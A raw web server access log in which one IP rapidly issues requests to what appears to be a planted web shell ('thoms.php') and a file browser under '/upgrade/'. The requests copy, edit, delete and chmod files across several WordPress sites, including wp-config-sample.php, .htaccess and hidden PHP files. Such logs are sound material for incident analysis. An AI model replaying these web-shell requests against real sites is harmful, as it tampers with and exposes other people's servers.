45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11414 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21825 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21678 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?edit=error_log&p=bestzyx.com.tw HTTP/1.1" 200 14458 "http://163.245.207.76:443/thoms.php?edit=error_log&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?edit=error_log&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 18110 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 15413 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 11785 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 200 12271 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19772 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11318 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11830 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7829 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7978 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20013 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21690 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 6604 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F%2F.839679839080856.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 6693 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 6779 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 46739 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 31220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 6535 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6591 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 33689 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 6861 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 28578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fupgrade%2F HTTP/1.1" 200 47466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /bestzyx.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:26 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known&upload= HTTP/1.1" 200 12183 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 200 12073 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /bestzyx.com.tw/.well-known/ HTTP/1.1" 200 781 "https://163.245.207.76:443/bestzyx.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 200 12275 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known&settings=1 HTTP/1.1" 200 11930 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?del=acme-challenge&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 12595 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?chmod=acme-challenge&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
